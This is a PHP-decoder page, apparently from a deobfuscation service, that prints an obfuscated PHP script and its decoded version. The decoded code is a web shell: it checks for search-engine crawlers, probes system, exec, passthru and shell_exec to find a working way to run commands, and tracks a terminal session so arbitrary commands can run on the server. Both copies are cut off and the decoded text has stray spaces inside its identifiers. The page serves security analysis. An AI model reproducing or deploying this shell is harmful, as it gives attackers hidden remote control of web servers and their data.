Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

{"\x47\x4cO\x42\x41\x4cS"}["\x73j\x6fbv\x73n\x65\x6f"]="\x74\x65\x73\x74_comm\x61\x6e\x6..

Decoded Output download

<?   
{"GLOBALS"}["sjobvsneo"]="test_command";${"GLOB ALS"}["bdmztwyeu"]="phpinfo";${"GLOBAL\x5 3"}["eqtbnym"]="result";${"GLOBALS"}["ivbpoepgucz"]="chdir";${"GLOBALS"}["pvbmsots"]="command";${"GLOBAL\x5 3"}["gvcfnnzgd"]="parts";${"GLOBALS" }["dfqlxqineyd"]="crawlers";${"GLOBALS" }["jsqesaeo"]="data";${"GLOBALS"}["cqunwhmf"]="response";function getIsCrawler($userAgent){${${"GLOBAL\x 53"}["dfqlxqineyd"]}="Google|msnbot|Ram bler|Yahoo|Abacho\x4 2OT|accoona|"."Acio\ x52obot|ASPSeek|CocoCrawle r|Dumbot|FAST-WebCrawler|"."GeonaBot|Gig abot|Lycos|MSRBOT|Scoo\ x74er|AltaVista|ID\x 42ot|eStyle|Scrubby";$hhqgbwe h="isCrawlers";$jywvvpb="u\x7 3erAgent";${"GLOBALS"}["uhoravh"]="isCrawlers";${${"GLOB ALS"}["uhoravh"]}=(preg_match("/$crawlers/i",${$jywvvpb})>0);return${$hhqgbweh};}function response($data,$code=200,$error=""){$lapwexsrnu="c ode";${"GLOBALS"}["wkznaiyk"]="error";$heplbvrx="res\x7 0onse";${${"GLOBALS"}["cqunwhmf"]}["code"]=${$lapwexsrnu};${$heplbvrx}["error"]=${${"GLOBALS"}["wkznaiyk"]};$cbhteo="response";${${"GL\ x4fBALS"}["cqunwhmf"]}["data"]=${${"GLOBALS"}["jsqesaeo"]};echo json_encode(${$cbhteo});exit();}function isWindows(){$wcwqemodlcl="phpinfo";ob_ start();phpinfo();${$wcwqemodlcl}=ob_get_clean();r eturn preg_match("~System </td><td class="v">([^<]*Windows)~",${${"GLOBA\ x4cS"}["bdmztwyeu"]})?true:false;}${"GLOBALS"}["wzbplb"]="clean";function getValidCommandFunction(){${"GLOBALS"}["vfymusvy"]="result";$kapzowj="resul\ x74";$inlqwczqgqwk="result";$hljctj i="result";${"GLOBALS "}["uiypnwtcug"]="result";${${"GLOBALS" }["sjobvsneo"]}=isWindows()?"dir":"ls";$byksydcbr="r\x6 5sult";ob_start();${"GLOBA\x4 cS"}["qgephh"]="test_command";${"G LOBALS"}["qyguqmvuomyn"]="result";${"GLOBALS"}["hgzddidcd"]="result";system(${${"GLOB\x4 1LS"}["sjobvsneo"]});${${"GLOBALS"}["uiypnwtcug"]}=ob_get_contents();$klccwcinikqe="resu\x 6ct";ob_end_clean();if(trim(${${"GLO\x 42ALS"}["qyguqmvuomyn "]})!=""&&!strstr(${${"GLOBALS"}["eqtbnym"]},"disabled for security"))return"s\x7 9stem";$ghigyghux="result";$l fsymwmwkegs="result";${$byksydcbr}= exec(${${"GLOBALS"}["sjobvsneo"]});if(trim(${$kapzowj})!=""&&!strstr(${${"GL\x4 fBALS"}["hgzddidcd"]},"disabled for security"))return"exec";ob_st art();passthru(${${"GLOBALS"}["sjobvsneo"]});${$ghigyghux}=ob_get_contents();ob_end_clean(); if(trim(${$lfsymwmwkegs})!=""&&!strstr(${$klccwcin ikqe},"disabled for security"))return"passth\ x72u";${$hljctji}=shell_exec(${${"GLOB ALS"}["qgephh"]});if(trim(${${"GLOBALS"}["vfymusvy"]})!=""&&!strstr(${$inlqwczqgqwk},"disa\x6 2led for security"))return"shell_\x 65xec";}function execute($command,$function,$n_to_br=true){$pypkeeo gij="result";${"GLOBAL\ x53"}["qyndcidb"]="function";${"GLOBALS" }["itmtfnipid"]="command";${${"GLOBALS "}["ivbpoepgucz"]}="";$kqpvqhcmvrmc="result";$rxdyiz ek="n_to_br";if($_SESSION["terminal"]["path"]!=""){if(isWindows()){if(!@chdir($_SESSION["terminal"]["path"])){$_SESSION["terminal"]["path"]="";$rvetmwe="data";${$rvetmwe}["result"]="You are redirected back to the original direct\x6 ?>

Did this file decode correctly?

Original Code


{"\x47\x4cO\x42\x41\x4cS"}["\x73j\x6fbv\x73n\x65\x6f"]="\x74\x65\x73\x74_comm\x61\x6e\x64";${"\x47\x4cOB \x41\x4cS"}["bd\x6d\x7atw\x79e\x75"]="p\x68\x70\x69\x6efo";${"\x47\x4cO\x42A\x4c\x5 3"}["\x65\x71\x74b\x6e\x79\x6d"]="\x72\x65su\x6c\x74";${"\x47\x4cOBA\x4c\x53"}["\x69\x76\x62po\x65p\x67\x75\x63\x7a"]="ch\x64ir";${"G\x4cOBA\x4cS"}["p\x76\x62\x6d\x73\x6f\x74s"]="\x63\x6f\x6d\x6da\x6e\x64";${"G\x4c\x4fBA\x4c\x5 3"}["\x67\x76cfnn\x7a\x67d"]="p\x61\x72\x74\x73";${"\x47\x4c\x4f\x42A\x4c\x53" }["\x64fq\x6cx\x71\x69\x6e\x65\x79\x64"]="c\x72aw\x6c\x65\x72\x73";${"G\x4cO\x42\x41L\x53" }["\x6a\x73\x71\x65\x73\x61\x65o"]="dat\x61";${"GL\x4fBA\x4cS"}["\x63\x71unwh\x6d\x66"]="r\x65\x73p\x6f\x6e\x73\x65";function getIsCrawler($userAgent){${${"GL\x4f\x42\x41\x4c\x 53"}["\x64f\x71\x6c\x78qine\x79\x64"]}="\x47\x6f\x6f\x67l\x65|\x6d\x73n\x62ot|\x52a\x6d \x62\x6cer|\x59\x61\x68\x6fo|Ab\x61\x63\x68\x6f\x4 2O\x54|a\x63\x63\x6f\x6f\x6e\x61|"."\x41\x63\x69o\ x52o\x62ot|AS\x50\x53ee\x6b|Coc\x6fC\x72\x61\x77le r|\x44\x75\x6db\x6ft|FAST-We\x62Cr\x61wler|"."\x47\x65o\x6e\x61Bo\x74|G\x69g \x61\x62o\x74|L\x79cos|\x4d\x53RBOT|\x53\x63o\x6f\ x74\x65r|A\x6c\x74\x61\x56\x69s\x74\x61|\x49\x44\x 42o\x74|\x65\x53\x74\x79le|Scr\x75b\x62y";$hhqgbwe h="i\x73C\x72\x61\x77\x6c\x65r\x73";$jywvvpb="u\x7 3\x65\x72A\x67en\x74";${"\x47L\x4fBA\x4c\x53"}["\x75\x68or\x61\x76\x68"]="i\x73C\x72\x61\x77\x6c\x65\x72s";${${"G\x4cO\x42 \x41\x4c\x53"}["\x75h\x6fr\x61\x76\x68"]}=(preg_match("/$crawlers/\x69",${$jywvvpb})>0);return${$hhqgbweh};}function response($data,$code=200,$error=""){$lapwexsrnu="c \x6fde";${"\x47\x4cO\x42\x41L\x53"}["w\x6b\x7an\x61\x69\x79\x6b"]="\x65\x72\x72\x6f\x72";$heplbvrx="\x72\x65\x73\x7 0on\x73\x65";${${"G\x4cO\x42\x41L\x53"}["c\x71\x75\x6e\x77\x68\x6d\x66"]}["\x63ode"]=${$lapwexsrnu};${$heplbvrx}["e\x72r\x6f\x72"]=${${"\x47\x4c\x4f\x42A\x4c\x53"}["wk\x7a\x6e\x61\x69y\x6b"]};$cbhteo="r\x65\x73\x70o\x6es\x65";${${"\x47\x4c\ x4fB\x41L\x53"}["\x63\x71\x75n\x77h\x6df"]}["\x64a\x74\x61"]=${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6a\x73q\x65\x73\x61\x65\x6f"]};echo json_encode(${$cbhteo});exit();}function isWindows(){$wcwqemodlcl="ph\x70i\x6e\x66\x6f";ob_ start();phpinfo();${$wcwqemodlcl}=ob_get_clean();r eturn preg_match("~Sy\x73te\x6d\x20</td\x3e<t\x64 c\x6cass=\x22\x76\x22>([^<]*W\x69\x6e\x64\x6fws)\x7e",${${"G\x4c\x4f\x42\x41\ x4cS"}["\x62d\x6d\x7atwy\x65\x75"]})?true:false;}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x7abp\x6cb"]="c\x6c\x65\x61\x6e";function getValidCommandFunction(){${"\x47L\x4f\x42AL\x53"}["\x76f\x79m\x75s\x76\x79"]="\x72\x65\x73\x75l\x74";$kapzowj="\x72es\x75\x6c\ x74";$inlqwczqgqwk="r\x65\x73\x75\x6c\x74";$hljctj i="\x72\x65\x73\x75\x6ct";${"\x47\x4cO\x42A\x4cS "}["\x75\x69\x79\x70n\x77\x74cug"]="\x72es\x75\x6c\x74";${${"G\x4c\x4f\x42A\x4cS" }["sj\x6f\x62v\x73\x6e\x65\x6f"]}=isWindows()?"dir":"\x6c\x73";$byksydcbr="\x72\x6 5\x73\x75\x6ct";ob_start();${"\x47\x4c\x4fB\x41\x4 c\x53"}["\x71\x67\x65\x70\x68\x68"]="\x74\x65s\x74\x5f\x63\x6f\x6d\x6da\x6ed";${"\x47 \x4cO\x42AL\x53"}["q\x79guq\x6d\x76\x75o\x6d\x79n"]="\x72\x65s\x75l\x74";${"\x47LO\x42\x41\x4cS"}["\x68gz\x64\x64id\x63\x64"]="\x72e\x73\x75\x6c\x74";system(${${"\x47\x4cOB\x4 1\x4c\x53"}["s\x6a\x6fb\x76\x73n\x65o"]});${${"\x47\x4c\x4fB\x41L\x53"}["u\x69\x79p\x6ew\x74c\x75\x67"]}=ob_get_contents();$klccwcinikqe="r\x65\x73\x75\x 6c\x74";ob_end_clean();if(trim(${${"\x47\x4c\x4f\x 42A\x4c\x53"}["\x71\x79\x67\x75\x71m\x76\x75\x6f\x6d\x79\x6e "]})!=""&&!strstr(${${"GLO\x42A\x4c\x53"}["\x65\x71\x74\x62\x6e\x79\x6d"]},"\x64\x69\x73\x61\x62\x6ced \x66\x6f\x72\x20se\x63u\x72\x69\x74y"))return"s\x7 9\x73te\x6d";$ghigyghux="\x72e\x73\x75\x6c\x74";$l fsymwmwkegs="\x72\x65\x73u\x6c\x74";${$byksydcbr}= exec(${${"\x47L\x4f\x42\x41\x4cS"}["\x73\x6aob\x76sn\x65\x6f"]});if(trim(${$kapzowj})!=""&&!strstr(${${"\x47L\x4 fBA\x4cS"}["h\x67\x7a\x64\x64id\x63\x64"]},"\x64isab\x6ce\x64\x20f\x6f\x72 \x73ecu\x72\x69t\x79"))return"e\x78\x65\x63";ob_st art();passthru(${${"\x47\x4c\x4f\x42\x41L\x53"}["s\x6a\x6f\x62\x76sn\x65o"]});${$ghigyghux}=ob_get_contents();ob_end_clean(); if(trim(${$lfsymwmwkegs})!=""&&!strstr(${$klccwcin ikqe},"\x64\x69s\x61ble\x64 f\x6fr\x20sec\x75rit\x79"))return"p\x61ss\x74\x68\ x72\x75";${$hljctji}=shell_exec(${${"G\x4c\x4f\x42 A\x4c\x53"}["q\x67ep\x68h"]});if(trim(${${"\x47\x4c\x4fB\x41\x4cS"}["v\x66\x79\x6dus\x76\x79"]})!=""&&!strstr(${$inlqwczqgqwk},"\x64\x69s\x61\x6 2\x6ced f\x6fr \x73ec\x75\x72\x69\x74y"))return"\x73hel\x6c\x5f\x 65\x78\x65c";}function execute($command,$function,$n_to_br=true){$pypkeeo gij="\x72e\x73\x75l\x74";${"\x47\x4cO\x42\x41\x4c\ x53"}["\x71\x79\x6e\x64\x63idb"]="f\x75\x6ec\x74i\x6fn";${"GL\x4f\x42\x41L\x53" }["\x69\x74\x6d\x74f\x6e\x69\x70\x69d"]="c\x6f\x6d\x6d\x61\x6ed";${${"\x47L\x4fBA\x4c\x53 "}["\x69v\x62\x70\x6fep\x67\x75\x63\x7a"]}="";$kqpvqhcmvrmc="\x72e\x73\x75\x6c\x74";$rxdyiz ek="n_\x74o\x5fb\x72";if($_SESSION["ter\x6di\x6eal"]["\x70a\x74\x68"]!=""){if(isWindows()){if(!@chdir($_SESSION["\x74\x65rminal"]["p\x61th"])){$_SESSION["\x74\x65rm\x69\x6ea\x6c"]["\x70\x61t\x68"]="";$rvetmwe="\x64\x61t\x61";${$rvetmwe}["\x72es\x75lt"]="\x59\x6fu are\x20\x72\x65\x64\x69\x72e\x63t\x65d \x62ac\x6b t\x6f t\x68e o\x72i\x67\x69na\x6c di\x72\x65ct\x6

Function Calls

None

Variables

None

Stats

MD5	68e59a036c9a5b7c1cebd4dabe00be75
Eval Count	0
Decode Time	105 ms

Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

Decoded Output download

Did this file decode correctly?

How would you describe this file?

Original Code

Function Calls

Variables

Stats